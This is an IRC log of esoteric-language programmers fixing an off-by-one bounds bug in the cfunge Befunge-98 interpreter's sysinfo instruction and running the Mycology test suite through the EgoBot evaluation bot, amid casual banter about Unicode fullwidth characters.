2009-05-01: 00:01:12 lifthrasiir, so any idea about the sysinfo one 00:01:43 it pushed <93, 43>. 00:02:00 lifthrasiir, sure that is wrong? 00:02:23 and if so, what did you do differently from mycology 00:04:50 wait, i could misinterpret the spec 00:06:00 i thought that "the least point which contains a non-space cell" and "the greatest point which contains a non-space cell" means a boundary of smallest rectangle containing every non-space cells 00:06:19 lifthrasiir, it is relative the least point 00:06:25 if that is the issue 00:07:00 I track absolute coordinates internally (for wrapping, which is more common than y). And diff then at y 00:07:20 wait 00:07:28 it was a build without exact bounds 00:07:30 and then <1,27> is leftmost, <92,25> is rightmost, <2,0> is topmost and <83,42> is bottommost; the least point within rectangle is <1,0> and the greatest point is <92,42> (which offset is <91,42> wrt least point) 00:07:31 * AnMaster tries again 00:07:52 with exact bounds I get the same message 00:08:25 i think you are pushing the past-to-the-greatest point, not the greatest point within the rectangle 00:08:48 lifthrasiir, err what? You mean I'm doing absolute coordinates instead of relative ones? 00:08:57 no 00:09:01 then what 00:09:32 "past-to-the-greatest" 00:09:38 what do you mean with that 00:09:56 for example, assume that the rectangle bounds the code is 7 columns wide and 3 rows high; what i mean is you are pushing and , not and 00:10:05 since is not in the rectangle 00:10:29 lifthrasiir, why do I get correct results in mycology then? 00:10:32 but i'm not sure, cfunge passed mycology and it can be other issues 00:10:40 that is strange. 00:10:52 maybe off by one error somewhere? 00:11:21 actually no 00:11:24 i assumed it, but then it should be appeared conditionally, which is quite hard to achieve i think 00:11:28 it was off by more than that wasn't it? 00:12:10 oh well, yes, it is off by _two_ in x coordinate 00:12:19 lifthrasiir, mycology writes to -1 too. 00:12:22 hm 00:13:37 I used to have conditional off by one errors ages ago. Dependant on mycology writing to -1,-1. But that was fixed. 00:14:09 but it pushed correct least point... cannot think of possible causes 00:14:24 nor can I 00:16:34 lifthrasiir, err 00:16:40 there are more than 42 lines in it 00:16:48 what? 00:16:58 but the last line is newline, so that doesn't matter 00:17:03 yes 00:17:03 empty* 00:17:04 but even so 00:17:11 that's line 43 00:17:11 15:10:20 yes it was. Sad thing is it spread outside kernel development. 00:17:17 Goddamn you're an idiot. 00:17:21 Hey, he agrees. 00:17:30 lifthrasiir, ah, wait 0,0 00:17:38 so no doesn't explain it 00:18:17 lifthrasiir, however editor says there are 93 columns. Meaning 92 when 0-based 00:18:37 lifthrasiir, so not sure where you got 91 from+ 00:18:47 oh right. spaces in first one too 00:18:48 duh 00:18:51 since the least point is <1,0>. 00:18:58 * AnMaster goes dump bounds in gdb 00:20:20 $1 = {topLeftCorner = {x = 1, y = 0}, bottomRightCorner = {x = 92, y = 42}, entries = 0x2039010, col_count = 0x2039050, row_count = 0x2039090, 00:20:20 boundsexact = true, boundsvalid = true} 00:20:29 lifthrasiir, that is absolute values 00:20:35 seems right to you? 00:20:42 yes 00:20:50 that is right 00:20:59 then y pushes wrong I guess. 00:21:35 *blink* 00:21:56 // +1 because it is inclusive. 00:21:56 rect->w = fspace.bottomRightCorner.x - fspace.topLeftCorner.x + 1; 00:21:57 rect->h = fspace.bottomRightCorner.y - fspace.topLeftCorner.y + 1; 00:22:01 no not there 00:22:07 I meant in sysinfo.c 00:22:18 lifthrasiir, but that +1 is correct iirc. 00:22:23 of course sysinfo.c should be wrong, anyway 00:22:35 stack_push(pushStack, rect.x+rect.w); 00:22:35 what 00:22:43 what 00:22:48 indeed 00:23:07 it should be rect.w 00:23:11 not x+w 00:23:14 right 00:23:34 but it should be rect.w-1, imo 00:23:44 lifthrasiir, why? 00:23:50 should return inclusive bounds 00:23:53 hm 00:24:04 but fungespace_get_bounds_rect returns width and height 00:24:34 what about the +1 then um 00:24:34 so is exclusive bound, and is inclusive bound 00:24:51 and clearly fspace.bottomRightCorner IS inclusive 00:25:35 hm 00:25:47 if (fspace.bottomRightCorner.x < position->x) 00:25:47 fspace.bottomRightCorner.x = position->x; 00:25:48 and 00:25:54 if (fspace.bottomRightCorner.y < position->y) 00:25:54 fspace.bottomRightCorner.y = position->y; 00:25:55 yes 00:26:31 lifthrasiir, that is true. it is the bounding box 00:26:42 it isn't the position of the spaces around 00:26:51 so it pushed exclusive bounds AND absolute coordinates. in fact there were two bugs ;) 00:26:54 s/box/rect/ 00:27:17 lifthrasiir, no, not absolute ones. It pushed something else instead. 00:27:22 wait no 00:28:32 lifthrasiir, removing the +1 and fixing the other bit helped indeed. 00:28:47 lifthrasiir, so this managed to be right for mycology because it wrote to -1 right? 00:28:53 yes. 00:29:05 Deewiant should really use -2,-2 00:29:07 or something 00:29:26 maybe i'll use <-3,-5> 00:29:38 anyway x and y should be different, for stupid cases 00:29:38 that would be even better 00:30:13 fixed in last revision. 00:31:18 and now fungus works too 00:31:31 it just hung before when using fungy/fungi 00:31:47 and I was unable to figure out why 00:32:13 maybe i should make sysinfo.b98 prints actual printed value. 00:32:19 maybe 00:32:21 actual pushed value* 00:32:31 lifthrasiir, that is what is missing in mycology a lot of the time 00:32:50 mycology is too huge, which means tracing is a lot harder 00:33:00 lifthrasiir, I don't know for python. But at least C is quite easy to get it with, with gdb 00:33:22 lifthrasiir, "too huge"? 00:33:30 but yes 00:33:36 yes it is hard to trace 00:33:43 especially in the concurrent sections. 00:33:50 so if you get some BAD, how to get near to the problematic commands? 00:34:30 lifthrasiir, well I search for the string, both reversed and not reversed to find out x,y coordinates. 00:35:02 but sometimes the string is placed vertically, or even splitted ;) 00:35:05 then use brkcell defined in .gdbinit 00:35:16 lifthrasiir, for split, search for one word 00:35:17 or such 00:35:24 vertically is hard indeed 00:35:29 then I usually poke Deewiant 00:35:38 ha, that is good 00:35:57 lifthrasiir, unless it is possible to find anyway, I know how the fingerprints are located 00:36:04 and I'm way past core bugs nowdays. 00:36:06 usually 00:36:22 new fingerprints tend to be where the problem is 00:36:54 define brkcell 00:36:54 break execute_instruction if (ip->position.x == $arg0) && (ip->position.y == $arg1) 00:36:54 end 00:36:55 btw 00:37:01 cfunge isn't a different /language/, right? The command shouldn't be "cfunge" then 00:37:08 It should be ... befunge98? 00:37:16 GregorR, Yes. 00:37:22 you said that however? 00:37:31 maybe I misunderstood you 00:37:35 AnMaster: To clarify, interps/, hcmds/ 00:37:56 GregorR, aha. Can you fix it yourself or should I submit a bundle with a move and commit in as well? 00:37:59 AnMaster: that is same to what i'm doing for pyfunge, but i think clearly separated test makes the debugging convenient 00:38:06 lifthrasiir, yes 00:38:11 AnMaster: I'm fixing. 00:38:25 GregorR, also you want to update cfunge to last revision. Fixed a bug in y 00:38:30 two files changed 00:38:50 and Deewiant will add that to his to-do list 00:38:52 I can make a patch 00:39:01 lifthrasiir, add what? 00:39:03 AnMaster: Patch pweeeeeeeeeeeeeeeeeeeeeee 00:39:25 AnMaster: "change negative coordinate test to -3 -2", for example 00:39:30 ah 00:39:32 !help 00:39:32 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 unlambda whirl 00:40:38 Example file? 00:40:52 !befunge98 <@,kda"Hello world!" 00:41:07 wait, it should be kca 00:41:09 Y'know, if I compiled the interpreter, it may work. 00:41:19 !befunge98 123...@ 00:41:24 !befunge 123...@ 00:41:25 3 2 1 00:41:32 it seems not working at all 00:41:38 Y'know, if I compiled the interpreter, it may work. 00:41:55 !befunge98 123...@ 00:41:55 3 2 1 00:42:07 GregorR, http://rage.kuonet.org/~anmaster/r763.diff 00:42:11 There ya go. Enjoy your fungi goodiness. 00:42:16 that is on the cfunge source itself 00:42:32 !befunge98 <@,kca"Hello world!" 00:42:39 lifthrasiir, strange 00:42:42 I tested it and it worked 00:42:45 before 00:42:59 !befunge98 123...@ 00:42:59 egobot queries. is that intended? 00:43:00 3 2 1 00:43:06 lifthrasiir, not that I know 00:43:18 lifthrasiir, maybe with newline 00:43:29 ah, okay 00:43:34 To avoid flooding the channel, the 2nd line and further are sent to you personally. 00:43:34 !befunge98 <@,kb"Hello world!" 00:43:35 Hello world! 00:43:35 !befunge98 <@,kc+2*3a"Hello world!" 00:43:36 Hello world! 00:43:41 So a program will only output one line here. 00:43:46 i got it. 00:43:47 ah 00:43:52 Aaaaw. 00:43:58 !befunge98 tA 00:43:58 pikhq, what 00:44:04 !befunge98 t3.A 00:44:07 um 00:44:10 Not even doing rate-based antiflooding? 00:44:12 I think he set up resource limit 00:44:15 limits* 00:44:22 so you would hit 32 MB soon 00:44:25 and then quit 00:44:27 That'd really screw up, say, daemons. 00:44:35 or at least quit after 30 seconds 00:44:41 pikhq, they are limited to 30 seconds 00:44:48 so that doesn't even apply. 00:44:50 Double-aaaaw. 00:45:09 I will probably add support for daemons again some time. 00:45:23 !befunge98 <@,kc+2*3a"Hello world!" 00:45:23 Hello world! 00:45:31 AnMaster: Patch seems to work. 00:45:38 pikhq: join my campaign for old egobot! 00:45:46 GregorR, it should. 00:45:50 .......... wtf. 00:45:54 (@ehird) 00:46:00 GregorR, you need to update the USED_VERSION 00:46:03 GregorR: We! Want! Real! Egobot! 00:46:07 AnMaster: I did. 00:46:12 !befunge98 7y.@ 00:46:12 2 00:46:13 good 00:46:16 We! Are! Great! Avocados! 00:46:17 :) 00:46:27 lifthrasiir, 7? 00:46:29 which one is that 00:46:33 AnMaster: number of dimension. 00:46:35 !befunge98 1y.@ 00:46:35 1 00:46:45 GregorR, did you watch the configure output btw? 00:46:50 I'm not in favor of the old Egobot. 00:46:52 of course that should be 2, but i wonder that should be unefunge98.. :p 00:46:59 GregorR, if so: any comments? 00:47:00 AnMaster: Not really. 00:47:01 pikhq: Well you should be. 00:47:03 meh 00:47:04 I'm in favor of the new Egobot achieving feature parity with old Egobot. 00:47:04 :/ 00:47:05 ;) 00:47:07 AnMaster: Not really in that I didn't watch it. 00:47:18 (except for the crashing "feature") 00:47:20 GregorR, it checks lots of -W flags for GCC 00:47:33 :P 00:47:52 I think it gave ehird an heart attach 00:47:55 attack* 00:47:59 for using -Wwrite-strings 00:48:05 * GregorR attaches to ehird's heart. 00:48:07 Nom nom nom 00:48:12 ... 00:48:13 Sexy. 00:48:27 ... GCC lets you write to strings? 00:48:37 of course that should be 2, but i wonder that should be unefunge98.. :p <-- it can do urls too 00:48:38 so 00:48:40 lets try it 00:48:40 pikhq: That's correct (although bad) C. 00:48:41 It lets you write to freaking const char *'s? 00:48:45 * AnMaster puts up mycology 00:48:51 GregorR: I thought in C99, they were const. 00:48:54 pikhq: No, it doesn't let you write to const char * 00:49:17 pikhq: Think of this situation: You have a global char *stringbuffer = "foobarf"; 00:49:21 Then you change that in place. 00:49:26 AnMaster: pack mycology in one line, along with the small unpacker code which puts mycology and removes itself 00:49:27 that crashes 00:49:29 GregorR, ^ 00:49:40 point is you don't get a warning without -Wwrite-strings 00:49:55 SO'S YOUR FACE 00:50:20 GregorR, what was the url syntax 00:50:23 I forgot 00:50:27 ........ a URL :P 00:50:27 just? !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 00:50:30 Yeah 00:50:42 GregorR, how do you write a befunge program that is also a valid url then 00:50:43 ... 00:50:47 -!- oklofog has joined. 00:50:50 anyone here? 00:50:52 that is quite possible 00:50:53 so it starts with h, which reflects in befunge-98? 00:51:06 lifthrasiir, yes used for g too 00:51:14 to combine something to get from 00:51:16 and reflect 00:51:19 golfing 00:51:32 lifthrasiir, I wrote g@ to output a g once 00:51:33 :P 00:51:37 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 00:51:44 * AnMaster waits 00:51:47 what 00:51:50 AnMaster: g,@, right? 00:51:52 shouldn't something happen 00:51:56 lifthrasiir, err yeah 00:52:17 GregorR, can you tell me why that didn't do anything 00:52:28 !help 00:52:32 .. 00:52:35 if SOCK is enabled i'll implement HTTP client in befunge. 00:52:41 I think GregorR timed out 00:52:45 or we have a netsplit 00:52:54 Or he isn't at your beck and call ZOMG 00:53:04 ehird, ? 00:53:17 ehird, read above. 00:53:34 -!- GregorR has quit (hubbard.freenode.net irc.freenode.net). 00:53:35 -!- MizardX has quit (hubbard.freenode.net irc.freenode.net). 00:53:36 -!- iano has quit (hubbard.freenode.net irc.freenode.net). 00:53:36 -!- EgoBot has quit (hubbard.freenode.net irc.freenode.net). 00:53:36 -!- comex has quit (hubbard.freenode.net irc.freenode.net). 00:53:39 see 00:53:40 I told you so 00:53:41 :P 00:54:07 * AnMaster waits for ehird to say he is sorry. 00:54:09 -!- GregorR has joined. 00:54:26 GregorR, wb 00:54:26 AnMaster: Have fun waiting. 00:54:47 -!- iano has joined. 00:54:47 -!- EgoBot has joined. 00:54:47 -!- comex has joined. 00:54:58 -!- MizardX has joined. 00:55:22 !help 00:55:26 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 unlambda whirl 00:55:30 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 00:55:32 0 1 2 3 4 5 6 7 00:55:35 wtf 00:55:36 oh my 00:55:39 EgoBot? 00:55:46 oklofog, yes 00:55:47 was i gone for so long it's past again 00:55:55 oh my 00:55:58 oklofog, no. It is a new one 00:55:59 it works? 00:56:04 lifthrasiir, it is spamming me with it in /msg yes 00:56:08 slowly 00:56:17 hi EgoBot :) 00:56:49 !befunge98 http://hg.mearie.org/pyfunge/raw-file/tip/tests/befunge98/sysinfo.b98 00:56:52 lets see how far it gets 00:56:54 lifthrasiir, no! 00:56:57 it is still running 00:57:01 what? 00:57:08 GOOD: y seems work for at least some fields 00:57:12 GOOD: wraparound with non-cardinal delta appears to work 00:57:15 that is how far it got 00:57:21 before killing it 00:57:24 the output 00:57:44 which is quite a bit. 00:57:57 hmm, does egobot have timeout? 00:58:02 yes 00:58:05 30 seconds 00:58:38 -!- EgoBot has quit (Excess Flood). 00:58:41 -!- EgoBot has joined. 00:58:44 wow 00:58:47 how did you do that 00:58:47 Hrm 00:58:56 you just managed excess flood egobot. 00:58:56 ok 00:58:59 congrats. 00:59:01 it is still spamming mycology 00:59:03 to me 00:59:16 then it will excess flood later 00:59:19 Apparently my limiting isn't limity enough :P 00:59:19 it's testing fingerprints now 00:59:42 !befunge98 @Password123@ 00:59:51 ;) 00:59:54 j/k 01:00:18 HOME=/home/egobot 01:00:18 PWD=/home/egobot/egobot/multibot_cmds 01:00:18 PATH=/usr/local/bin:/usr/bin:/bin:/usr/games 01:00:18 USER=egobot 01:00:18 SHELL=/bin/bash 01:00:19 TERM=screen 01:00:23 interesting 01:00:35 GregorR, it runs in screen? 01:00:52 It doesn't need to, but that's the first way I ran it, so it does now :P 01:00:58 right 01:01:16 * GregorR wurves screen. 01:01:17 GregorR, -S filters that env 01:01:23 to a few "safe" ones 01:01:30 in case anything is missing there 01:01:30 Ah. 01:01:41 what's screen 01:01:46 D-8 01:01:48 oklofog: a drug 01:01:54 oklofog: http://www.google.com/search?q=gnu+screen 01:01:55 GregorR, the list is in src/instructions/sysinfo-misc/safe_env.gperf 01:01:56 it makes you see everything in black and white with things like #(*$&(!&@(* 01:01:56 -!- FireFly has quit ("Later"). 01:02:01 v. dangerous 01:02:08 GregorR, which is the source file used to generate a perfect hash for it 01:02:09 It's like emacs without a text editor 01:02:16 -!- EgoBot has quit (Excess Flood). 01:02:18 -!- EgoBot has joined. 01:02:22 X_X 01:02:22 and still spamming me 01:02:27 WTFBBQ 01:02:32 UNDEF: N outputs 40 in base 37 as nothing: it reflected 01:02:34 now 01:02:35 coppro: oh so they removed the bad component? 01:02:47 ↑ as funny as perl-is-line-noise jokes 01:02:48 -!- lifthrasiir has left (?). 01:02:48 GregorR, you know how many lines of output mycology generates? 01:02:54 -!- iano has quit. 01:02:57 -!- lifthrasiir has joined. 01:03:05 AnMaster: Nope :P 01:03:12 i hate Cmd-W. 01:03:15 Gracenotes, 599 lines here 01:03:19 err 01:03:21 GregorR, ^ 01:03:23 with clean environment 01:03:34 NEW IRC CLIENT NAO, YOUNG MAN 01:03:36 that is a less restricted build 01:03:40 I don't know why it would continue to output ... 01:03:45 ( ﾟ -ﾟ) the nerve! 01:03:48 It's /not running/ :P 01:03:50 GregorR, socat buffers it I bet 01:03:51 "Tags: Made Of: XML," —Debian 01:04:00 This is a fontconfig-config sandwich. 01:04:03 It is made of XML. 01:04:16 GregorR, I mean, it finished the output in less than a tenth of a second 01:04:42 GregorR, so you must be buffering it somewhere 01:04:52 it's in FPSP now 01:04:53 -!- EgoBot has quit (Excess Flood). 01:04:54 UNDEF: 0"1234.567890"R results in 1234.567871 01:04:56 well 01:04:57 -!- EgoBot has joined. 01:05:02 congrats, again ;) 01:05:05 AnMaster: The process that collects the output is itself limited to 30 seconds, and the buffer oughtn't to survive the process quitting X_X 01:05:05 and still going strong 01:05:20 GregorR, let it finish this one time right? 01:05:30 ................... if I didn't just stop it, then OK :P 01:05:36 hmm, i think i've actually used screen. scary. 01:05:41 GregorR, I'll pastebin my /msg log 01:05:47 I promise 01:05:57 hm 01:06:00 once it reaches end 01:06:04 (i used to think it was a basic linux feature which i just didn't have enabled on mine, now i think maybe it was that) 01:06:05 it seems to have made a pause now 01:06:19 !help 01:06:21 or 01:06:23 GregorR: thank you for expanding my horizon 01:06:23 maybe not 01:06:33 Nothing should be able to output right now. 01:06:41 (From EgoBot) 01:06:49 GregorR, not !help either indeed 01:06:51 !help 01:06:57 Nothing should be able to output right now. 01:07:03 GregorR, how comes 01:07:05 why did you stop it 01:07:06 -!- EgoBot has quit (Remote closed the connection). 01:07:08 -!- EgoBot has joined. 01:07:16 Because I was tired of it getting dropped :P 01:07:38 Gracenotes, lifthrasiir http://pastebin.ca/1409033 01:08:04 it didn't get to the end 01:08:12 :o 01:08:12 Gracenotes: FYI, a client that tab-completes without reading the mind of the user is not buggy. 01:08:16 err 01:08:18 GregorR, ^ 01:08:39 I'm going to limit it to, say, 15 lines. 01:08:42 Gracenotes, and live with it. I always entered gr. 01:08:42 GregorR: my client tab completes to common prefixes 01:08:44 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 01:08:44 0 1 2 3 4 5 6 7 01:08:50 let me get a complete one 01:08:50 Gracenotes: G R [tab] 01:08:52 this time 01:08:54 GregorR, ^ 01:08:57 ;P 01:09:05 Oy 01:09:16 GregorR, thank you in advance :) 01:09:22 then, G R [tab] [tab]. What have you X>_< 01:09:44 GregorR, um. The pattern is in the fingers 01:09:50 I used it long before you came here 01:09:55 it takes time to re-learn 01:10:03 That was to Gracenotes :P 01:10:03 in a year or so I will get it right I guess 01:10:07 Ironically lawl 01:10:08 ouch 01:10:19 fine, muscle memory, et cetera. But I don't think it's that deeply ingrained 01:10:25 GregorR, so please let it finish this time ok? 01:10:30 AnMaster: Yeahyeah 01:10:31 anyway, I won't bother you if you accidentally ping me :) 01:10:33 Gracenotes: I'm just THAT COOL 01:10:34 continue 01:10:45 Gr ok 01:10:50 haaaaaa 01:11:00 GregorR: Gracenotes GregorR Gracenotes 01:11:45 Gracenotes, I had the same issue with FireFly and fizzie 01:11:51 so it isn't just you 01:12:02 -!- EgoBot has quit (Excess Flood). 01:12:05 -!- EgoBot has joined. 01:12:10 GregorR, you changed the flood limit? 01:12:17 it didn't flood off as quickly this time 01:12:25 AnMaster: I can't change the flood limit, that's determined by Freenode :P 01:12:25 and yes 01:12:29 it is continuing 01:12:32 （　´_ゝ`） it is me! I am the one to blame 01:12:35 GregorR, well... the rate limit 01:12:35 On Sine there's somebody called Green, so you need four characters to tab complete us :P 01:12:48 Gracenotes, wth is up with those () 01:13:03 oh 01:13:07 wide ones 01:13:12 （　´_ゝ`） . . o o O O ( ;_; ) 01:13:15 that shouldn't be part of unicode 01:13:16 ... 01:13:23 it is a font issue 01:13:31 not a symbol issue. 01:13:43 -!- Sgeo has joined. 01:13:47 On Sine there's somebody called Green, so you need four characters to tab complete us :P <-- sine? 01:13:58 GOOD: IIDD is zero 01:14:01 still going strong 01:14:02 :) 01:14:03 I've already said too much. 01:14:10 YOU SHALL NOT KNOW THE SINE 01:14:14 GregorR, private network? Ok 01:14:16 Except that said wide parans, unlike the normal ones, are the same width as a Japanese character. 01:14:16 Hi Sgeo :P 01:14:18 fine by me. 01:14:25 I'm on enough of them already. 01:14:28 Hi GregorR 01:14:36 pikhq, that is a font issue. 01:14:46 * Sgeo pokes ehird to tell him that I might have caused people to be interested in PSOX again 01:14:47 Not a separate code point issue 01:14:48 Oh gawd, Sine. 01:14:53 That place was amusing. 01:14:56 ehird, you know of it? 01:14:58 hm ok 01:14:59 AnMaster: Yes. 01:15:05 I went there for a month or two. 01:15:07 Sorry, should specify. Unless there's Roman characters embedded in the Japanese text, in which case normal parens are used. 01:15:10 OOOOOOOOOOOOOOOOOOOOOOOH I have a great idea! I'll use exponential backoff for the output from commands. 01:15:10 ehird, private irc network? 01:15:13 AnMaster: Yes. 01:15:23 right 01:15:29 Say the word "fuck", get put into a special channel to think about what you've done! We're so private that we came out the other side and became prudes. 01:15:31 -!- EgoBot has quit (Excess Flood). 01:15:32 GregorR, UNDEF: N outputs 40 in base 3 as 1111 01:15:35 -!- EgoBot has joined. 01:15:35 still not halfway 01:15:37 :P 01:15:49 01:13 AnMaster: it is a font issue 01:15:49 01:13 AnMaster: not a symbol issue. 01:15:51 expect another 2 or 3 excess floods 01:15:52 Completely incorrect. 01:15:56 ehird, IMO it is. 01:16:02 they are latin chars. 01:16:05 I'm the one who introduced ehird, GregorR, and kerlo to Sine 01:16:11 AnMaster: Please stop showing your cultural ignorance. Thx. 01:16:19 Sgeo is the Sine gatekeeper. 01:16:25 ehird, why not tell me *why* I'm wrong instead. 01:16:25 Sgeo: how large the network is? 01:16:25 lol 01:16:35 Gracenotes: tell AnMaster why he's wrong 01:16:35 how large is the network* 01:16:38 lifthrasiir, there are currently 24 people in the main channel 01:16:39 lifthrasiir: 30-50 people. 01:16:44 ... when I was there 01:16:47 (2007) 01:16:51 hmm, 01:16:57 Testing fingerprint DIRF... not loaded. 01:16:57 Testing fingerprint EVAR... not loaded. 01:16:57 Testing fingerprint FILE... not loaded. 01:17:01 and now it is in FIXP 01:17:01 it's a pretty crap place. 01:17:25 i'm also operating some irc network, which is for koreans of course 01:17:27 AnMaster: Finally, the *actual* reason for Unicode having different code-points for that... 01:17:48 GregorR, you strip space at start of line? 01:17:51 You know Unicode's stance that you should be able to go from old-character-set -> Unicode -> old-character-set? 01:17:57 Yeah, JIS had different code points. 01:18:07 pikhq, I see 01:18:07 -!- EgoBot has quit (Excess Flood). 01:18:09 that explains it 01:18:10 -!- EgoBot has joined. 01:18:13 but not a good reason 01:18:15 IMO 01:18:31 It makes sense theoretically. 01:18:34 Stop being so anglocentric. 01:18:37 GregorR, in FPSP now. 01:18:40 AnMaster: I don't try to, but I might accidentally. 01:18:44 ehird, Um. I'm from Sweden. 01:18:54 AnMaster: Eurocentric. 01:19:02 Anythingbutjapacentric 01:19:03 ehird, that I can live with. 01:19:33 GregorR, well lets wait for this to finish and I will pastebin the output. And the expected output. 01:19:58 GregorR, which will differ slightly since my system has different env vars 01:20:06 AnMaster: You should come to Purdue next year. One of our resident Swedes is moving on to a professorship and our group won't have a Swedish majority anymore :( 01:20:11 and "current time" will differ. 01:20:19 s/majority/plurality/ 01:20:24 GregorR, your group? 01:20:51 UNDEF: YODHMS claim that the GMT time is (or was a few moments ago) 2009 - 5 - 1 00 : 08 : 44 01:20:52 well 01:20:53 A subset of the PL research group at Purdue under Dr. Vitek. 01:20:56 that shows it 01:20:59 it does buffer 01:21:22 AnMaster: I know it buffers, I just don't know which buffer is staying alive :P 01:21:29 it took 10 minutes and so, right? 01:21:29 "The number of cylinders for this disk is set to 1337." 01:21:34 GregorR, ok 01:21:42 lifthrasiir, it is still going... 01:22:02 GregorR, hey. What was the exit status 01:22:04 Trying to quit with q. If the return status is 15, consider it GOOD... 01:22:15 * AnMaster pastebins output now 01:22:19 AnMaster: I can't check. 01:22:54 GregorR: add exitstatus command to print the last exit status, like bash's $? 01:23:09 (well i'm just kidding now.) 01:24:10 GregorR, http://pastebin.ca/1409047 01:24:15 first line was in channel 01:24:23 * kerlo blinks\ 01:24:27 http://pastebin.ca/1409048 is expected output free standing 01:24:39 It seems that the last note of a measure is the same as the root of the chord of that measure. 01:24:41 time, date, and env will differ 01:25:06 kerlo, not if the measure is metric 01:25:28 GregorR, I know empty lines are stripped 01:25:36 Is that the sort of joke that it's even possible to get? :-P 01:25:38 but I don't see why the leading spaces are 01:25:47 * kerlo uses that rule to measurify his little tune 01:25:51 kerlo, measure(ment) 01:25:59 feet vs. meters 01:26:11 AnMaster: I assume it's because bash read LN strips *shrugs* 01:26:20 GregorR, oh ok 01:26:27 GregorR, still pretty impressive :D 01:26:34 that I got it through 01:26:40 Ｈｍ， Ｔｈｅ ｆｕｌｌｗｉｄｔｈ ａｎｄ ｈａｌｆｗｉｄｔｈ ｓｅｃｔｉｏｎｓ ｒｅａｌｌｙ ｔｅｎｄ ｔｏ ｐｉｑｕｅ ｏｎｅ＇ｓ ｉｎｔｅｒｅｓｔ！ 01:26:52 Gracenotes: and I feel kind of bad about it :( 01:26:55 Gracenotes: So does your face. 01:26:56 AUGH 01:27:24 Gracenotes, that is hard to read 01:27:45 Ｉ＇ｍ ｓｏｒｒｙ， ｄｉｄ ｙｏｕ ｓａｙ ｓｏｍｅｔｈｉｎｇ ａｂｏｕｔ ｍｙ ｆａｃｅ ：（ 01:27:58 Gracenotes: Yes. Your ｆａｃｅ 01:27:58 Gracenotes: So do you feel kind of bad about it :( or not? 01:28:24 half-width, full-width. why not double-width? 01:28:40 so 01:28:45 USB has low-speed, full-speed, and high-speed (which is greater than full speed) 01:28:52 Quadruple-width: NOMINAL HORIZONTAL TABULATION 01:28:53 GregorR, yes :D 01:28:58 um 01:29:01 isn't the new one 01:29:05 something else 01:29:08 I forgot the name 01:29:11 for usb 3.0 speed 01:29:23 ｅｈｉｒｄ： ｐｅｒｈａｐｓ Ｉ ｆｅｅｌ ｋｉｎｄ ｏｆ ｂａｄ ａｂｏｕｔ ｉｔ ：（ 01:29:29 SuperSpeed. 01:29:29 norly-this-is-our-fastest-speed 01:29:31 GregorR, no "HighSpeed" 01:29:35 Hi Speed 01:29:38 Yes, "SuperSpeed". 01:29:39 pikhq, really? Ok 01:29:48 Anyway, that little rule is completely consistent with my intuition. 01:29:55 or Hi-Speed 01:29:57 ｅｈｉｒｄ： ｂｕｔ Ｉ ｄｏｎ＇ｔ ｔｈｉｎｋ ｔｈｅ ｆｕｌｌｗｉｄｔｈ ｓｅｃｔｉｏｎ ｓｈｏｕｌｄ ｂｅ ｌｉｍｉｔｅｄ ｔｏ ｊｕｓｔ ｆｅｅｌｉｎｇ ｂａｄ ａｂｏｕｔ ｔｈｉｎｇｓ！ ｙｏｕ ｋｎｏｗ？ 01:30:04 kerlo, what rule 01:30:42 Gracenotes, why is that font smaller 01:30:51 as in 01:31:04 wider than other monospace chars (!) but smaller letters 01:31:12 ｅｈｉｒｄ vs ehird 01:31:18 In order from slowest to fastest: Full Speed, Ultra Speed, Super Speed, Great Speed, High Speed, Added Speed, Speed. 01:31:22 And it's apparently similar to PCIe 1x... 01:31:24 AnMaster: that's what fullwidth text is. 01:31:37 Gracenotes: feeling bad about things != and i feel kind of bad about it :(ing 01:31:52 kerlo, fastest to slowest right? 01:31:55 ｔｒｕｅ 01:32:11 ehird, it breaks mono-space 01:32:14 :( 01:32:15 Yes. Fastest to slowest, starting on the right. 01:32:16 horrible 01:32:17 AnMaster: many characters do. 01:32:20 :-P 01:32:26 see, e.g., MUCH GREATER THAN or w/e 01:32:26 ehird: 01:32:37 comex: I refuse to answer messages prefixed by a line with just my name and a colon. 01:32:54 ehird, That should not happen in a mono-space font 01:32:58 AnMaster: It does. 01:33:01 Deal with it. 01:33:02 it's wrong. 01:33:09 Monospace is wrong. 01:33:10 the AFO and I have way way way too many crops 01:33:15 ehird, no it isn't 01:33:17 comex: Give me some. 01:33:38 now that nobody usually cares, it's the perfect time to make bayes play AAA 01:33:53 it will be a good way for me to procrastinate studying for APs 01:34:02 what 01:34:10 that made no sense 01:34:15 and I can host it somewhere reliable if you can't :p 01:35:38 for example, posting "I request subsidization" ever week would be very helpful 01:35:38 by the way. javascript:alert((function(s){t=[];for(i=s.length;i--;){v=s.charCodeAt(i);t.unshift(v==32?' ':String.fromCharCode(v+65248))}return t.join('')})(prompt('',''))) 01:35:44 for your own full-width encoding needs 01:35:55 comex: what, you have AP tests? 01:35:57 yes 01:36:04 also: maybe I'll annoy people and put it in the ruleset 01:36:04 but no 01:36:21 GregorR, https://codu.org/projects/egobot/hg/index.cgi/rev/b83da7601e63 <-- no commit message?! 01:36:32 I'm disappointed :( 01:36:43 ａｎｄ Ｉ ｆｅｅｌ ｋｉｎｄ ｏｆ ｂａｄ ａｂｏｕｔ ｓｈｉｔ ：（ 01:36:46 You're in high-school-or-the-equivalent-in-your-country, then? 01:36:49 That was just changing two configuration values, and I'm lazy :p 01:37:26 GregorR, in the future will you be able to pull cfunge yourself? I mean it isn't really hard. Just bzr 01:37:35 ;P 01:37:59 Part of the idea behind new EgoBot is that since I can just accept bundles and push them, I can remain mostly hands-off. 01:38:11 GregorR: https://codu.org/projects/egobot/hg/index.cgi/rev/59aeb98a08ea#l2.10 <-- ? 01:38:14 As a result, I'll only update things when either people give me updates or I feel like it. 01:38:18 I didn't add an extra space to that line 01:38:24 so what happened 01:38:38 So, now that I've figured out the rule governing chords in music, I just have to figure out the rules governing melody and rhythm. 01:38:46 AnMaster: ...........? 01:38:56 GregorR, that extra space on the line "2.10" is not in the patch 01:39:01 see how it is added 01:39:13 2.7 - rect->w = fspace.bottomRightCorner.x - fspace.topLeftCorner.x + 1; 01:39:13 